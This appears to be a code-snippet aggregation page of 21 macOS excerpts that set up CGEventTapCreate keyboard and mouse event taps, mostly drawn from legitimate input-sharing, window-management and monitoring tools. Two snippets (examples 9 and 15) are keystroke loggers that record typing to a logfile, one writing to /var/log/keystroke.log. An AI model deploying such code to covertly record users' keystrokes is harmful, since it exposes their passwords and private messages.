Exemplo n.º 1
0
void
COSXScreen::enable()
{
	// watch the clipboard
	m_clipboardTimer = m_events->newTimer(1.0, NULL);
	m_events->adoptHandler(CEvent::kTimer, m_clipboardTimer,
							new TMethodEventJob<COSXScreen>(this,
								&COSXScreen::handleClipboardCheck));

	if (m_isPrimary) {
		// FIXME -- start watching jump zones
		
		// kCGEventTapOptionDefault = 0x00000000 (Missing in 10.4, so specified literally)
		m_eventTapPort = CGEventTapCreate(kCGHIDEventTap, kCGHeadInsertEventTap, 0,
										kCGEventMaskForAllEvents, 
										handleCGInputEvent, 
										this);
	}
	else {
		// FIXME -- prevent system from entering power save mode

		if (m_autoShowHideCursor) {
			hideCursor();
		}

		// warp the mouse to the cursor center
		fakeMouseMove(m_xCenter, m_yCenter);

                // there may be a better way to do this, but we register an event handler even if we're
                // not on the primary display (acting as a client). This way, if a local event comes in
                // (either keyboard or mouse), we can make sure to show the cursor if we've hidden it. 
		m_eventTapPort = CGEventTapCreate(kCGHIDEventTap, kCGHeadInsertEventTap, 0,
										kCGEventMaskForAllEvents, 
										handleCGInputEventSecondary, 
										this);
	}

	if (!m_eventTapPort) {
		LOG((CLOG_ERR "failed to create quartz event tap"));
	}

	m_eventTapRLSR = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, m_eventTapPort, 0);
	if (!m_eventTapRLSR) {
		LOG((CLOG_ERR "failed to create a CFRunLoopSourceRef for the quartz event tap"));
	}

	CFRunLoopAddSource(CFRunLoopGetCurrent(), m_eventTapRLSR, kCFRunLoopDefaultMode);
}
Exemplo n.º 2
0
int main(int argc, const char *argv[]) {

    // Create an event tap to retrieve keypresses.
    CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
    CFMachPortRef eventTap = CGEventTapCreate(
        kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, CGEventCallback, NULL
    );

    // Exit the program if unable to create the event tap.
    if(!eventTap) {
        fprintf(stderr, "ERROR: Unable to create event tap.\n");
        exit(1);
    }

    // Create a run loop source and add enable the event tap.
    CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
    CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
    CGEventTapEnable(eventTap, true);
    
    initscr();
    int row, col;
    getmaxyx(stdscr,row,col);
    clear();
    mvprintw(row/2,(col-10)/2,"0.000000%%");   
    refresh();
    CFRunLoopRun();

    return 0;
}
Exemplo n.º 3
0
int
key_init(void)
{
	if (!keys_configured) {
		warnx("key init called without an active key configured");
		return -1;
	}

	if (eventTap != NULL) {
		warnx("key init called when events already initialized");
		return -1;
	}

	eventTap = CGEventTapCreate (
	    kCGHIDEventTap,
	    kCGSessionEventTap,
	    kCGEventTapOptionListenOnly,
	    CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp),
	    key_event_callback,
	    NULL
	);
	if (eventTap == NULL) {
		warnx("unable to create event tap");
		return -1;
	}

	runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
	CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);

	return 0;
}
Exemplo n.º 4
0
int main(void) {

  fprintf(stderr, "Starting up.\n");
  CFMachPortRef      eventTap;
  CFRunLoopSourceRef runLoopSource;

  CGEventFlags oldFlags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState);
  eventTap = CGEventTapCreate(kCGSessionEventTap,
                              kCGHeadInsertEventTap,
                              0,
                              kCGEventMaskForAllEvents,
                              //CGEventMaskBit(kCGEventFlagsChanged) | CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp),
                              myCGEventCallback,
                              &oldFlags);
  if (!eventTap) {
    fprintf(stderr, "Failed to create event tap!\n");
    exit(1);
  }

  runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
  CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
  CGEventTapEnable(eventTap, true);
  CFRunLoopRun();

  exit(0);

}
Exemplo n.º 5
0
int main(int argc, char **argv)
{
    if(CheckArguments(argc, argv))
        return 0;

    KwmInit();
    KWMMach.EventMask = ((1 << kCGEventKeyDown) |
                         (1 << kCGEventKeyUp) |
                         (1 << kCGEventMouseMoved));

    KWMMach.EventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, kCGEventTapOptionDefault, KWMMach.EventMask, CGEventCallback, NULL);
    if(!KWMMach.EventTap || !CGEventTapIsEnabled(KWMMach.EventTap))
        Fatal("ERROR: Could not create event-tap!");

    CFRunLoopAddSource(CFRunLoopGetMain(),
                       CFMachPortCreateRunLoopSource(kCFAllocatorDefault, KWMMach.EventTap, 0),
                       kCFRunLoopCommonModes);

    CGEventTapEnable(KWMMach.EventTap, true);
    CreateWorkspaceWatcher(KWMMach.WorkspaceWatcher);

    // NOTE(koekeishiya): Initialize AXLIB
    // AXLibInit(&AXApplications);
    // AXLibRunningApplications();

    NSApplicationLoad();
    CFRunLoopRun();
    return 0;
}
Exemplo n.º 6
0
Status EventTappingEventPublisher::restart() {
  stop();
  WriteLock lock(run_loop_mutex_);
  run_loop_ = CFRunLoopGetCurrent();

  CGEventMask mask = kCGEventNull;
  if (FLAGS_enable_keyboard_events) {
    mask |= 1 << kCGEventKeyDown;
  }

  if (FLAGS_enable_mouse_events) {
    mask |= 1 << kCGEventLeftMouseDown;
  }

  event_tap_ = CGEventTapCreate(kCGSessionEventTap,
                                kCGHeadInsertEventTap,
                                kCGEventTapOptionListenOnly,
                                mask,
                                eventCallback,
                                nullptr);
  if (event_tap_ == nullptr) {
    run_loop_ = nullptr;
    return Status(1, "Could not create event tap");
  }
  run_loop_source_ =
      CFMachPortCreateRunLoopSource(kCFAllocatorDefault, event_tap_, 0);
  CFRunLoopAddSource(run_loop_, run_loop_source_, kCFRunLoopCommonModes);
  CGEventTapEnable(event_tap_, true);
  return Status(0);
}
Exemplo n.º 7
0
void startListen(){
    CFMachPortRef	  eventTap;
    CGEventMask		eventMask;
    CFRunLoopSourceRef runLoopSource;
    
    // Create an event tap. We are interested in key presses.
    //eventMask = ((1 << kCGEventKeyDown) | (1 << kCGEventKeyUp) | (1 << kCGEventFlagsChanged));
    eventMask = ((1 << kCGEventKeyDown) | (1 << kCGEventFlagsChanged));
    eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0,
                                eventMask, myCGEventCallback, NULL);
    if (!eventTap) {
        fprintf(stderr, "failed to create event tap\n");
        exit(1);
    }
    
    // Create a run loop source.
    runLoopSource = CFMachPortCreateRunLoopSource(
                                                  kCFAllocatorDefault, eventTap, 0);
    // Add to the current run loop.
    CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource,
                       kCFRunLoopCommonModes);
    
    // Enable the event tap.
    CGEventTapEnable(eventTap, true);
    
    // Set it all running.
    CFRunLoopRun();
    
    // In a real program, one would have arranged for cleaning up.
}
Exemplo n.º 8
0
Qt::Native::Status insertEventHandler_Quartz(QNativeInput *nativeInput, int pid = 0)
{
    uid_t uid = geteuid();
    if (uid != 0)
        qWarning("MacNativeEvents: You must be root to listen for key events!");

    CFMachPortRef port;
    if (!pid){
        port = CGEventTapCreate(kCGHIDEventTap,
            kCGHeadInsertEventTap, kCGEventTapOptionListenOnly,
            kCGEventMaskForAllEvents, EventHandler_Quartz, nativeInput);
    } else {
        ProcessSerialNumber psn;
        GetProcessForPID(pid, &psn);
        port = CGEventTapCreateForPSN(&psn,
            kCGHeadInsertEventTap, kCGEventTapOptionListenOnly,
            kCGEventMaskForAllEvents, EventHandler_Quartz, nativeInput);
    }

    CFRunLoopSourceRef eventSrc = CFMachPortCreateRunLoopSource(NULL, port, 0);
    CFRunLoopAddSource((CFRunLoopRef) GetCFRunLoopFromEventLoop(GetMainEventLoop()),
        eventSrc, kCFRunLoopCommonModes);

    return Qt::Native::Success;
}
Exemplo n.º 9
0
int main(int argc, const char *argv[]) {
    
    struct timespec ts;
    current_utc_time(&ts);
    
    //printf("s:  %lu\n", ts.tv_sec);
    //printf("ns: %lu\n", ts.tv_nsec);

    // Create an event tap to retrieve keypresses.
    CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
    CFMachPortRef eventTap = CGEventTapCreate(
        kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, CGEventCallback, NULL
    );

    // Exit the program if unable to create the event tap.
    if(!eventTap) {
        fprintf(stderr, "ERROR: Unable to create event tap.\n");
        exit(1);
    }

    // Create a run loop source and add enable the event tap.
    CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
    CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
    CGEventTapEnable(eventTap, true);


    // Clear the logfile if clear argument used or log to specific file if given.
    if(argc == 2) {
        if(strcmp(argv[1], "clear") == 0) {
            fopen(logfileLocation, "w");
            printf("%s cleared.\n", logfileLocation);
            fflush(stdout);
            exit(1);
        } else {
            logfileLocation = argv[1];
        }
    }

    // Get the current time and open the logfile.
    time_t result = time(NULL);
    logfile = fopen(logfileLocation, "a");
    
    if (!logfile) {
        fprintf(stderr, "ERROR: Unable to open log file. Ensure that you have the proper permissions.\n");
        exit(1);
    }

    // Output to logfile.
    fprintf(logfile, "\n\nKeylogging has begun.\n%s\n", asctime(localtime(&result)));
    fflush(logfile);

    // Display the location of the logfile and start the loop.
    printf("Logging to: %s\n", logfileLocation);
    
    fflush(stdout);
    CFRunLoopRun();

    return 0;
}
Exemplo n.º 10
0
int main(int argc, char *argv[]) {
  CGEventMask mask = CGEventMaskBit(kCGEventScrollWheel);
  CFMachPortRef port = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, kCGEventTapOptionDefault, mask, &callback, NULL);
  if(port == NULL)
    return -1;
  CFRunLoopSourceRef source = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, port, 0);
  CFRunLoopAddSource(CFRunLoopGetCurrent(), source, kCFRunLoopCommonModes);
  CGEventTapEnable(port, true);
  CFRunLoopRun();
  return 1;
}
Exemplo n.º 11
0
void createEventTap (CGEventTapCallBack eventCallback) {
  CGEventFlags oldFlags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState);
  //CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
  CGEventMask eventMask = kCGEventMaskForAllEvents;
  CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap,
      kCGHeadInsertEventTap, 0, eventMask, eventCallback, &oldFlags);

  if (!eventTap) {
    fprintf(stderr, "failed to create event tap\nyou need to enable \"Enable access for assitive devices\" in Universal Access preference panel.");
    exit(1);
  }

  CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
  CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
  CGEventTapEnable(eventTap, true);
}
Exemplo n.º 12
0
    /**
     * Attaches to OSX event system
     */
    bool EventMonitorMac::setupEventTap() {
        CGEventMask mask = CGEventMaskBit(kCGEventKeyUp) | CGEventMaskBit(kCGEventKeyDown);

        m_eventTap = CGEventTapCreate( kCGHIDEventTap, kCGTailAppendEventTap, kCGEventTapOptionDefault, mask, eventCallback, NULL );

        if( !m_eventTap ) {
            // FIXME
            fprintf( stderr, "Couldn't create event tap!" );
            return false;
        }

        m_runLoopSource = CFMachPortCreateRunLoopSource( kCFAllocatorDefault, m_eventTap, 0 );

        CFRunLoopAddSource( CFRunLoopGetMain(), m_runLoopSource, kCFRunLoopCommonModes );

        return true;
    }
Exemplo n.º 13
0
int main(void)
{
    static const CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp) | CGEventMaskBit(kCGEventFlagsChanged);
    CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, myCGEventCallback, NULL);
    if (eventTap == NULL)
    {
        printf("Failed to create event tap.\n");
        return -1;
    }

    CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
    CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
    CGEventTapEnable(eventTap, true);
    CFRunLoopRun();

    CFRelease(eventTap);
    return 0;
}
Exemplo n.º 14
0
int main(int argc, const char * argv[]) {
  startLightService();
  CGEventMask keyMask = CGEventMaskBit(kCGEventKeyDown);
  CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap,
    kCGTailAppendEventTap, kCGEventTapOptionListenOnly, keyMask,
    lightCallback, NULL);
  if (eventTap == NULL) {
    fprintf(stderr, "Event tap could not be created. Ending program.");
    exit(1);
  }
  CFRunLoopSourceRef runLoopSource =
    CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
  CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource,
      kCFRunLoopCommonModes);
  CGEventTapEnable(eventTap, true); // needed? should be enabled by default
  CFRunLoopRun();
  return 0;
}
Exemplo n.º 15
0
int main (int argc, const char * argv[]) {
  CGEventFlags oldFlags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState);

  CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
  CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, myCGEventCallback, &oldFlags);
  
  if (!eventTap) {
    fprintf(stderr, "failed to create event tap\nyou need to enable \"Enable access for assitive devices\" in Universal Access preference panel.");
    exit(1);
  }
  
  CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
  CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
  CGEventTapEnable(eventTap, true);
  
  logFile = fopen("/var/log/keystroke.log", "a");
  CFRunLoopRun();
  
  return 0;
}
Exemplo n.º 16
0
internal inline void
ConfigureRunLoop()
{
    KWMMach.EventMask = ((1 << kCGEventMouseMoved) |
                         (1 << kCGEventLeftMouseDragged) |
                         (1 << kCGEventLeftMouseDown) |
                         (1 << kCGEventLeftMouseUp) |
                         (1 << kCGEventRightMouseDragged) |
                         (1 << kCGEventRightMouseDown) |
                         (1 << kCGEventRightMouseUp));

    KWMMach.EventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, kCGEventTapOptionDefault, KWMMach.EventMask, CGEventCallback, NULL);
    if(!KWMMach.EventTap || !CGEventTapIsEnabled(KWMMach.EventTap))
        Fatal("Error: Could not create event-tap!");


    CFRunLoopAddSource(CFRunLoopGetMain(),
                       CFMachPortCreateRunLoopSource(kCFAllocatorDefault, KWMMach.EventTap, 0),
                       kCFRunLoopCommonModes);
}
Exemplo n.º 17
0
int main(int argc, char **argv)
{
        detect_window_below_cursor();

        CFMachPortRef event_tap;
        CGEventMask event_mask;
        CFRunLoopSourceRef run_loop_source;

        event_mask = ((1 << kCGEventKeyDown) | (1 << kCGEventKeyUp) | (1 << kCGEventMouseMoved));
        event_tap = CGEventTapCreate( kCGSessionEventTap, kCGHeadInsertEventTap, 0, event_mask, cgevent_callback, NULL);

        if(event_tap && CGEventTapIsEnabled(event_tap))
                std::cout << "tapping keys.." << std::endl;
        else
                fatal("could not tap keys, try running as root");

        run_loop_source = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, event_tap, 0);
        CFRunLoopAddSource(CFRunLoopGetCurrent(), run_loop_source, kCFRunLoopCommonModes);
        CGEventTapEnable(event_tap, true);
        CFRunLoopRun();
        return 0;
}
Exemplo n.º 18
0
int main(int argc, const char * argv[]) {
    
    
    // The screen size of the primary display.
//    screenBounds = CGDisplayBounds(CGMainDisplayID());
//    printf("The main screen is %dx%d\n", (int)screenBounds.size.width,
//           (int)screenBounds.size.height);
    
    // Create an event tap. We are interested in mouse movements.
    //
    //CGEventMask eventMask = CGEventMaskBit(kCGEventKeyUp) | CGEventMaskBit(kCGEventFlagsChanged);
    //CGEventMask eventMask = kCGEventMaskForAllEvents;
    CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown) |CGEventMaskBit(kCGEventFlagsChanged);
    
    CFMachPortRef eventTap = CGEventTapCreate(
                                kCGHIDEventTap, kCGHeadInsertEventTap,
                                0, eventMask, myCGEventCallback, NULL);
    if (!eventTap) {
        fprintf(stderr, "failed to create event tap\n");
        exit(1);
    }
    
    // Create a run loop source.
    CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(
                                                  kCFAllocatorDefault, eventTap, 0);
    // Add to the current run loop.
    CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource,
                       kCFRunLoopDefaultMode);
    // Enable the event tap.
    CGEventTapEnable(eventTap, true);
    
    // Set it all running.
    CFRunLoopRun();
    
    // In a real program, one would have arranged for cleaning up.

    
}
Exemplo n.º 19
0
static void mode_changed()
{
    switch (mmkd_mode) {
        /*
         * merge mode enabled: create event tap, cancel idle timer (if any)
         */
        case 1: {
            if (idle_timer) {
                dispatch_source_cancel(idle_timer);
                dispatch_release(idle_timer);
                idle_timer = NULL;
            }
            if (!event_tap) {

                /*
                 * reset ktab
                 */
                struct key_kind *i;
                for (i=ktab; i->kk_name; i++)
                    i->kk_num_pressed = 0;

                /*
                 * become root  (this is neccessary in order to create event tap)
                 */
                seteuid(0);

                /*
                 * based on alterkeys.c http://osxbook.com and http://dotdotcomorg.net
                 */
                CGEventMask        event_mask;
                CFRunLoopSourceRef run_loop_source;

                // Create an event tap. We are interested in key presses.
                event_mask = ((1 << kCGEventKeyDown) | (1 << kCGEventKeyUp) | (1<<kCGEventFlagsChanged));
                event_tap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0,
                                             event_mask, my_cg_event_callback, NULL);

                /*
                 * revert to self
                 */
                seteuid(getuid());

                if (!event_tap) {
                    fprintf(stderr, "failed to create event tap\n");
                    return;
                }

                // Create a run loop source.
                run_loop_source = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, event_tap, 0);

                // Add to the current run loop.
                CFRunLoopAddSource(CFRunLoopGetMain(), run_loop_source,
                                   kCFRunLoopCommonModes);

                // Enable the event tap.
                CGEventTapEnable(event_tap, true);
            }
            return;
        }
        /*
         * merge mode disabled: remove event tap (if any), setup idle timer
         */
        case 0: {
            if (event_tap) {
                CFMachPortInvalidate(event_tap);
                CFRelease(event_tap);
                event_tap = NULL;
            }
            if (!idle_timer) {
                idle_timer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER,
                                                    0, 0, dispatch_get_main_queue());
                if (!idle_timer) {
                    fprintf(stderr, "out of memory\n");
                    return;
                }
                dispatch_source_set_event_handler(idle_timer, ^{
                    CFRunLoopStop(CFRunLoopGetMain());
                });
                dispatch_source_set_timer(idle_timer,
                                          dispatch_time(DISPATCH_TIME_NOW, NSEC_PER_SEC*5LL),
                                          -1, NSEC_PER_SEC*1LL);
                dispatch_resume(idle_timer);
            }
            return;
        }
Exemplo n.º 20
0
static void *hook_thread_proc(void *arg) {
	int *status = (int *) arg;
	*status = UIOHOOK_FAILURE;

	bool accessibilityEnabled = false;

	// FIXME Move to osx_input_helper.h after testing.
	#ifdef USE_WEAK_IMPORT
	// Check and make sure assistive devices is enabled.
	if (AXIsProcessTrustedWithOptions != NULL) {
		// New accessibility API 10.9 and later.
		const void * keys[] = { kAXTrustedCheckOptionPrompt };
		const void * values[] = { kCFBooleanTrue };

		CFDictionaryRef options = CFDictionaryCreate(
				kCFAllocatorDefault,
				keys,
				values,
				sizeof(keys) / sizeof(*keys),
				&kCFCopyStringDictionaryKeyCallBacks,
				&kCFTypeDictionaryValueCallBacks);

		accessibilityEnabled = AXIsProcessTrustedWithOptions(options);
	}
	else {
		// Old accessibility check 10.8 and older.
		accessibilityEnabled = AXAPIEnabled();
	}
	#else
	// Dynamically load the application services framework for examination.
	const char *dlError = NULL;
	void *libApplicaitonServices = dlopen("/System/Library/Frameworks/ApplicationServices.framework/ApplicationServices", RTLD_LAZY);
	dlError = dlerror();
	if (libApplicaitonServices != NULL && dlError == NULL) {
		// Check for the new function AXIsProcessTrustedWithOptions().
		*(void **) (&AXIsProcessTrustedWithOptions_t) = dlsym(libApplicaitonServices, "AXIsProcessTrustedWithOptions");
		dlError = dlerror();
		if (AXIsProcessTrustedWithOptions_t != NULL && dlError == NULL) {
			// Check for property kAXTrustedCheckOptionPrompt
			CFStringRef kAXTrustedCheckOptionPrompt_t = (CFStringRef) dlsym(libApplicaitonServices, "kAXTrustedCheckOptionPrompt");
			dlError = dlerror();
			if (kAXTrustedCheckOptionPrompt_t != NULL && dlError == NULL) {
				// New accessibility API 10.9 and later.
				// FIXME This is causing a segfault on 10.9 probably due to an invalid pointer type.
				const void * keys[] = { kAXTrustedCheckOptionPrompt_t };
				const void * values[] = { kCFBooleanTrue };

				CFDictionaryRef options = CFDictionaryCreate(
						kCFAllocatorDefault,
						keys,
						values,
						sizeof(keys) / sizeof(*keys),
						&kCFCopyStringDictionaryKeyCallBacks,
						&kCFTypeDictionaryValueCallBacks);

				accessibilityEnabled = (*AXIsProcessTrustedWithOptions_t)(options);
			}
		}
		else {
			logger(LOG_LEVEL_DEBUG,	"%s [%u]: Falling back to AXAPIEnabled(). (%s)\n",
					__FUNCTION__, __LINE__, dlError);

			// Check for the fallback function AXAPIEnabled().
			*(void **) (&AXAPIEnabled_t) = dlsym(libApplicaitonServices, "AXAPIEnabled");
			dlError = dlerror();
			if (AXAPIEnabled_t != NULL && dlError == NULL) {
				// Old accessibility check 10.8 and older.
				accessibilityEnabled = (*AXAPIEnabled_t)();
			}
			else {
				// Could not load the AXAPIEnabled function!
				logger(LOG_LEVEL_ERROR,	"%s [%u]: Failed to locate AXAPIEnabled()! (%s)\n",
						__FUNCTION__, __LINE__, dlError);
			}
		}

		dlclose(libApplicaitonServices);
	}
	else {
		// Could not load the ApplicationServices framework!
		logger(LOG_LEVEL_ERROR,	"%s [%u]: Failed to lazy load the ApplicationServices framework! (%s)\n",
				__FUNCTION__, __LINE__, dlError);
	}
	#endif

	if (accessibilityEnabled == true) {
		logger(LOG_LEVEL_DEBUG,	"%s [%u]: Accessibility API is enabled.\n",
				__FUNCTION__, __LINE__);

		// Setup the event mask to listen for.
		CGEventMask event_mask =	CGEventMaskBit(kCGEventKeyDown) |
									CGEventMaskBit(kCGEventKeyUp) |
									CGEventMaskBit(kCGEventFlagsChanged) |

									CGEventMaskBit(kCGEventLeftMouseDown) |
									CGEventMaskBit(kCGEventLeftMouseUp) |
									CGEventMaskBit(kCGEventLeftMouseDragged) |

									CGEventMaskBit(kCGEventRightMouseDown) |
									CGEventMaskBit(kCGEventRightMouseUp) |
									CGEventMaskBit(kCGEventRightMouseDragged) |

									CGEventMaskBit(kCGEventOtherMouseDown) |
									CGEventMaskBit(kCGEventOtherMouseUp) |
									CGEventMaskBit(kCGEventOtherMouseDragged) |

									CGEventMaskBit(kCGEventMouseMoved) |
									CGEventMaskBit(kCGEventScrollWheel);

		#ifdef USE_DEBUG
		event_mask |= CGEventMaskBit(kCGEventNull);
		#endif

		CFMachPortRef event_port = CGEventTapCreate(
										kCGSessionEventTap,				// kCGHIDEventTap
										kCGHeadInsertEventTap,			// kCGTailAppendEventTap
										kCGEventTapOptionListenOnly,	// kCGEventTapOptionDefault See Bug #22
										event_mask,
										hook_event_proc,
										NULL
									);


		if (event_port != NULL) {
			logger(LOG_LEVEL_DEBUG,	"%s [%u]: CGEventTapCreate Successful.\n",
					__FUNCTION__, __LINE__);

			event_source = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, event_port, 0);
			if (event_source != NULL) {
				logger(LOG_LEVEL_DEBUG,	"%s [%u]: CFMachPortCreateRunLoopSource successful.\n",
						__FUNCTION__, __LINE__);

				event_loop = CFRunLoopGetCurrent();
				if (event_loop != NULL) {
					logger(LOG_LEVEL_DEBUG,	"%s [%u]: CFRunLoopGetCurrent successful.\n",
							__FUNCTION__, __LINE__);

					// Initialize Native Input Functions.
					load_input_helper();


					// Create run loop observers.
					CFRunLoopObserverRef observer = CFRunLoopObserverCreate(
														kCFAllocatorDefault,
														kCFRunLoopEntry | kCFRunLoopExit, //kCFRunLoopAllActivities,
														true,
														0,
														hook_status_proc,
														NULL
													);

					if (observer != NULL) {
						// Set the exit status.
						*status = UIOHOOK_SUCCESS;

						start_message_port_runloop();

						CFRunLoopAddSource(event_loop, event_source, kCFRunLoopDefaultMode);
						CFRunLoopAddObserver(event_loop, observer, kCFRunLoopDefaultMode);

						CFRunLoopRun();

						// Lock back up until we are done processing the exit.
						CFRunLoopRemoveObserver(event_loop, observer, kCFRunLoopDefaultMode);
						CFRunLoopRemoveSource(event_loop, event_source, kCFRunLoopDefaultMode);
						CFRunLoopObserverInvalidate(observer);

						stop_message_port_runloop();
					}
					else {
						// We cant do a whole lot of anything if we cant
						// create run loop observer.

						logger(LOG_LEVEL_ERROR,	"%s [%u]: CFRunLoopObserverCreate failure!\n",
								__FUNCTION__, __LINE__);

						// Set the exit status.
						*status = UIOHOOK_ERROR_OBSERVER_CREATE;
					}

					// Cleanup Native Input Functions.
					unload_input_helper();
				}
				else {
					logger(LOG_LEVEL_ERROR,	"%s [%u]: CFRunLoopGetCurrent failure!\n",
							__FUNCTION__, __LINE__);

					// Set the exit status.
					*status = UIOHOOK_ERROR_GET_RUNLOOP;
				}

				// Clean up the event source.
				CFRelease(event_source);
			}
			else {
				logger(LOG_LEVEL_ERROR,	"%s [%u]: CFMachPortCreateRunLoopSource failure!\n",
					__FUNCTION__, __LINE__);

				// Set the exit status.
				*status = UIOHOOK_ERROR_CREATE_RUN_LOOP_SOURCE;
			}

			// Stop the CFMachPort from receiving any more messages.
			CFMachPortInvalidate(event_port);
			CFRelease(event_port);
		}
		else {
			logger(LOG_LEVEL_ERROR,	"%s [%u]: Failed to create event port!\n",
					__FUNCTION__, __LINE__);

			// Set the exit status.
			*status = UIOHOOK_ERROR_EVENT_PORT;
		}
	}
	else {
		logger(LOG_LEVEL_ERROR,	"%s [%u]: Accessibility API is disabled!\n",
				__FUNCTION__, __LINE__);

		// Set the exit status.
		*status = UIOHOOK_ERROR_AXAPI_DISABLED;
	}

	logger(LOG_LEVEL_DEBUG,	"%s [%u]: Something, something, something, complete.\n",
			__FUNCTION__, __LINE__);

	// Make sure we signal that we have passed any exception throwing code.
	pthread_mutex_unlock(&hook_control_mutex);

	pthread_exit(status);
}
Exemplo n.º 21
0
void* threadrun(void* context){
    // Tell it which devices we want to look for
    CFMutableArrayRef devices = CFArrayCreateMutable(kCFAllocatorDefault, 0, &kCFTypeArrayCallBacks);
    if(devices){
        int vendor = V_CORSAIR, product1 = P_K70, product2 = P_K95;
        CFMutableDictionaryRef device = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
        if(device){
            CFDictionarySetValue(device, CFSTR(kIOHIDVendorIDKey), CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &vendor));
            CFDictionarySetValue(device, CFSTR(kIOHIDProductIDKey), CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &product1));
            CFArrayAppendValue(devices, device);
            CFRelease(device);
        }
        device = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
        if(device){
            CFDictionarySetValue(device, CFSTR(kIOHIDVendorIDKey), CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &vendor));
            CFDictionarySetValue(device, CFSTR(kIOHIDProductIDKey), CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &product2));
            CFArrayAppendValue(devices, device);
            CFRelease(device);
        }
        IOHIDManagerSetDeviceMatchingMultiple(usbmanager, devices);
        CFRelease(devices);
    }
    // Set up device add callback
    IOHIDManagerRegisterDeviceMatchingCallback(usbmanager, usbadd, 0);
    IOHIDManagerScheduleWithRunLoop(usbmanager, CFRunLoopGetCurrent(), kCFRunLoopDefaultMode);
    IOHIDManagerOpen(usbmanager, kIOHIDOptionsTypeNone);

    // Run an event tap to modify the state of mouse events. The OS won't take care of this for us so this is needed for Shift and other modifiers to work
    CFRunLoopAddSource(CFRunLoopGetCurrent(), CFMachPortCreateRunLoopSource(kCFAllocatorDefault, CGEventTapCreate(kCGHIDEventTap, kCGTailAppendEventTap, kCGEventTapOptionDefault, CGEventMaskBit(kCGEventLeftMouseDown) | CGEventMaskBit(kCGEventLeftMouseDragged) | CGEventMaskBit(kCGEventLeftMouseUp) | CGEventMaskBit(kCGEventRightMouseDown) | CGEventMaskBit(kCGEventRightMouseDragged) | CGEventMaskBit(kCGEventRightMouseUp), tapcallback, 0), 0), kCFRunLoopDefaultMode);

    // Another thing the OS won't do on its own: key repeats. Make a new thread for that
    pthread_create(&keyrepeatthread, 0, krthread, 0);

    // Run the event loop. Existing devices will be detected automatically.
    while(1){
        CFRunLoopRun();
    }
    return 0;
}